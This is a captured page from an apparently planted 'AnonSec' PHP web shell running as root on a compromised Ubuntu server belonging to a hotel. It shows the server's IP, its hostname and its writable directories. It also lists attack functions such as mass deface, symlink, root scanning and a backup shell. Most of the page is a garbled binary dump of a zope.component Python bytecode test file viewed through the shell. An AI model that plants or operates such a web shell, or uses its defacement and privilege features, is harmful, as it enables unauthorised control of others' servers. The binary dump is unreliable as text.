AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/zope/component/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/zope/component/tests/__pycache__/test_security.cpython-310.pyc
o

,�W�$�@srdZddlZGdd�dej�ZGdd�dej�ZGdd�dej�ZGd	d
�d
ej�ZGdd�dej�Zd
d�ZdS)zPure-Python hookable tests
�Nc@�$eZdZdd�Zdd�Zdd�ZdS)�PermissionProxyTestscCsddlm}|S)Nr)�PermissionProxy)�zope.component.securityr)�selfr�r�D/usr/lib/python3/dist-packages/zope/component/tests/test_security.py�_getTargetClasssz$PermissionProxyTests._getTargetClasscCs|��|�S�N)r	)r�wrappedrrr�_makeOneszPermissionProxyTests._makeOnecCstddlm}ddlm}ddlm}Gdd�d|�}||�Gdd�dt��}|�}|�|�}|�||�||��dS)	Nr��	Interface)�implementer)�
providedByc@�eZdZdS)zGPermissionProxyTests.test_proxy_delegates___provided_by__.<locals>.IFooN��__name__�
__module__�__qualname__rrrr�IFoo �rc@r)zFPermissionProxyTests.test_proxy_delegates___provided_by__.<locals>.FooNrrrrr�Foo"sr)�zope.interfacerrr�objectr�assertEqual)rrrrrr�foo�proxyrrr�$test_proxy_delegates___provided_by__s
z9PermissionProxyTests.test_proxy_delegates___provided_by__N)rrrr	rrrrrrrsrc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�
Test__checkercO�ddlm}||i|��S)Nr)�_checker)rr!)r�args�kwr!rrr�_callFUT,�zTest__checker._callFUTcCs@ddlm}|�t�ddd�}|�|jd|i�|�|j�dS)Nr��
CheckerPublic�zope.Publicr�__call__)�zope.security.checkerr'r$rr�get_permissions�assertFalse�set_permissions)rr'�checkerrrr�0test_no_allowed_attributes_no_allowed_interfaces0sz>Test__checker.test_no_allowed_attributes_no_allowed_interfacescCshddlm}Gdd�d|�}Gdd�d|�}|�t�d||fd�}|�|jdddd	��|�|j�dS)
Nrr
c@seZdZdd�Zdd�ZdS)z5Test__checker.test_w_allowed_interfaces.<locals>.IFoocS�dSr
r�rrrr�bar9�z9Test__checker.test_w_allowed_interfaces.<locals>.IFoo.barcSr0r
rr1rrr�baz;r3z9Test__checker.test_w_allowed_interfaces.<locals>.IFoo.bazN)rrrr2r4rrrrr8src@�eZdZdd�ZdS)z6Test__checker.test_w_allowed_interfaces.<locals>.ISpamcSr0r
rr1rrr�qux>r3z:Test__checker.test_w_allowed_interfaces.<locals>.ISpam.quxN)rrrr6rrrr�ISpam=�r7�testingr)r2r4r6)rrr$rrr+r,r-)rrrr7r.rrr�test_w_allowed_interfaces6s
�z'Test__checker.test_w_allowed_interfacescCs6|�t�ddd�}|�|jddd��|�|j�dS)Nr9r)rr2)r$rrr+r,r-)rr.rrr�test_w_allowed_attributesEs
�z'Test__checker.test_w_allowed_attributesN)rrrr$r/r:r;rrrrr*s
rc@sDeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)�Test_proxifycOr )Nr)�proxify)rr=)rr"r#r=rrrr$Nr%zTest_proxify._callFUTcCsGdd�dt�}|�S)Nc@r5)z+Test_proxify._makeContext.<locals>._ContextcSr0r
rr1rrrr2Tr3z/Test_proxify._makeContext.<locals>._Context.barN�rrrr2rrrr�_ContextSr8r?)r)rr?rrr�_makeContextRszTest_proxify._makeContextcCs |��}|jt|j|dd�dS)Nr9)�
permission)r@�assertRaises�
ValueErrorr$)r�ctxrrr�test_no_checker_no_providesXsz(Test_proxify.test_no_checker_no_providescCs<ddlm}Gdd�d|�}|��}|jt|j||d�dS)Nrr
c@r5)z8Test_proxify.test_no_checker_no_permission.<locals>.IFoocSr0r
rr1rrrr2_r3z<Test_proxify.test_no_checker_no_permission.<locals>.IFoo.barNr>rrrrr^r8r)�provides)rrr@rBrCr$)rrrrDrrr�test_no_checker_no_permission\sz*Test_proxify.test_no_checker_no_permissioncCs�ddlm}ddlm}ddlm}Gdd�d|�}|��}|j||dd�}|�||�|u�|j	}|�
|jd	|i�|�|j
�dS)
Nrr
r&��getProxiedObjectc@r5)zKTest_proxify.test_no_checker_w_provides_and_permission_public.<locals>.IFoocSr0r
rr1rrrr2ir3zOTest_proxify.test_no_checker_w_provides_and_permission_public.<locals>.IFoo.barNr>rrrrrhr8rr(�rFrAr2)rrr*r'�
zope.proxyrIr@r$�
assertTrue�__Security_checker__rr+r,r-)rrr'rIrrDrr.rrr�0test_no_checker_w_provides_and_permission_publicdsz=Test_proxify.test_no_checker_w_provides_and_permission_publiccCszddlm}ddlm}Gdd�d|�}|��}|j||dd�}|�||�|u�|j}|�|j	ddi�|�
|j�dS)	Nrr
rHc@r5)zNTest_proxify.test_no_checker_w_provides_and_permission_protected.<locals>.IFoocSr0r
rr1rrrr2vr3zRTest_proxify.test_no_checker_w_provides_and_permission_protected.<locals>.IFoo.barNr>rrrrrur8rr9rJr2)rrrKrIr@r$rLrMrr+r,r-)rrrIrrDrr.rrr�3test_no_checker_w_provides_and_permission_protectedrsz@Test_proxify.test_no_checker_w_provides_and_permission_protectedcCsLddlm}t�}|��}|�||�}|�||�|u�|�|j|u�dS)NrrH)rKrIrr@r$rLrM)rrI�_CHECKERrDrrrr�test_w_checkerszTest_proxify.test_w_checkerN)
rrrr$r@rErGrNrOrQrrrrr<Ls
r<c@r)�Test_protectedFactorycOr )Nr)�protectedFactory)rrS)rr"r#rSrrrr$�r%zTest_protectedFactory._callFUTcCstddlm}ddlm}Gdd�d|�}Gdd�dt�}|�||d�}|�|j|u�|�}|�|j	j
d	|i�dS)
Nrr
r&c@r5)zCTest_protectedFactory.test_public_not_already_proxied.<locals>.IFoocSr0r
rr1rrrr2�r3zGTest_protectedFactory.test_public_not_already_proxied.<locals>.IFoo.barNr>rrrrr�r8rc@r5)zGTest_protectedFactory.test_public_not_already_proxied.<locals>._FactorycSr0r
rr1rrrr2�r3zKTest_protectedFactory.test_public_not_already_proxied.<locals>._Factory.barNr>rrrr�_Factory�r8rTr(r2)rrr*r'rr$rL�factoryrrMr+)rrr'rrT�	protectedrrrr�test_public_not_already_proxied�s
�z5Test_protectedFactory.test_public_not_already_proxiedcCsrddlm}ddlm}Gdd�d|�}Gdd�dt�}|�||d�}|�|j|u�|�}|�||�d	g�dS)
Nrr
)�getTestProxyItemsc@r5)zBTest_protectedFactory.test_nonpublic_already_proxied.<locals>.IFoocSr0r
rr1rrrr2�r3zFTest_protectedFactory.test_nonpublic_already_proxied.<locals>.IFoo.barNr>rrrrr�r8rc@seZdZdZdd�ZdS)zFTest_protectedFactory.test_nonpublic_already_proxied.<locals>._Factory)�onecSr0r
rr1rrrr2�r3zJTest_protectedFactory.test_nonpublic_already_proxied.<locals>._Factory.barN)rrr�	__slots__r2rrrrrT�srTr9)r2r9)	rr�zope.security.proxyrXrr$rLrUr)rrrXrrTrVrrrr�test_nonpublic_already_proxied�sz4Test_protectedFactory.test_nonpublic_already_proxiedN)rrrr$rWr\rrrrrR�srRc@s\eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�ZdS)�Test_securityAdapterFactorycOr )Nr)�securityAdapterFactory)rr^)rr"r#r^rrrr$�r%z$Test_securityAdapterFactory._callFUTcCs.Gdd�dt�}|�|�|ddd�|u�dS)Nc@r)zVTest_securityAdapterFactory.test_no_permission_untrusted_no_location.<locals>._FactoryNrrrrrrT�rrTF�rrLr$�rrTrrr�(test_no_permission_untrusted_no_location��
�zDTest_securityAdapterFactory.test_no_permission_untrusted_no_locationcCs.Gdd�dt�}|�|�|ddd�|u�dS)Nc@r)zOTest_securityAdapterFactory.test_public_untrusted_no_location.<locals>._FactoryNrrrrrrT�rrTr(Fr_r`rrr�!test_public_untrusted_no_location�rbz=Test_securityAdapterFactory.test_public_untrusted_no_locationcCs:ddlm}Gdd�dt�}|�|�||dd�|u�dS)Nrr&c@r)zVTest_securityAdapterFactory.test_CheckerPublic_untrusted_no_location.<locals>._FactoryNrrrrrrT�rrTF)r*r'rrLr$)rr'rTrrr�(test_CheckerPublic_untrusted_no_location�s

�zDTest_securityAdapterFactory.test_CheckerPublic_untrusted_no_locationcC�@ddlm}Gdd�dt�}|�|ddd�}|�t||��dS)Nr)�LocatingUntrustedAdapterFactoryc@r)zRTest_securityAdapterFactory.test_protected_untrusted_no_location.<locals>._FactoryNrrrrrrT�rrTr9F)�zope.security.adapterrfrr$rL�
isinstance)rrfrTrrrr�$test_protected_untrusted_no_location��z@Test_securityAdapterFactory.test_protected_untrusted_no_locationcCs@ddlm}Gdd�dt�}|�|ddd�}|�t||��dS)Nr��LocatingTrustedAdapterFactoryc@r)zTTest_securityAdapterFactory.test_no_permission_trusted_no_location.<locals>._FactoryNrrrrrrT�rrTFT�rgrlrr$rLrh�rrlrTrrrr�&test_no_permission_trusted_no_location�rjzBTest_securityAdapterFactory.test_no_permission_trusted_no_locationcC�@ddlm}Gdd�dt�}|�|ddd�}|�t||��dS)Nrrkc@r)zMTest_securityAdapterFactory.test_public_trusted_no_location.<locals>._FactoryNrrrrrrT�rrTr(FTrmrnrrr�test_public_trusted_no_location�rjz;Test_securityAdapterFactory.test_public_trusted_no_locationcCsLddlm}ddlm}Gdd�dt�}|�||dd�}|�t||��dS)Nrrkr&c@r)zTTest_securityAdapterFactory.test_CheckerPublic_trusted_no_location.<locals>._FactoryNrrrrrrT�rrTFT)rgrlr*r'rr$rLrh)rrlr'rTrrrr�&test_CheckerPublic_trusted_no_location�s
zBTest_securityAdapterFactory.test_CheckerPublic_trusted_no_locationcCrp)Nrrkc@r)zPTest_securityAdapterFactory.test_protected_trusted_no_location.<locals>._FactoryNrrrrrrT�rrTr9FTrmrnrrr�"test_protected_trusted_no_location�rjz>Test_securityAdapterFactory.test_protected_trusted_no_locationcCre)Nrrkc@r)zOTest_securityAdapterFactory.test_protected_trusted_w_location.<locals>._FactoryNrrrrrrT�rrTr9Trmrnrrr�!test_protected_trusted_w_location�rjz=Test_securityAdapterFactory.test_protected_trusted_w_locationN)
rrrr$rarcrdrirorqrrrsrtrrrrr]�sr]c	Cs2t�t�t�t�t�t�t�t�t�t�t�f�Sr
)�unittest�	TestSuite�	makeSuiterrr<rRr]rrrr�
test_suite�s�rx)	�__doc__ru�TestCaserrr<rRr]rxrrrr�<module>s
"<%E

Anon7 - 2022
AnonSec Team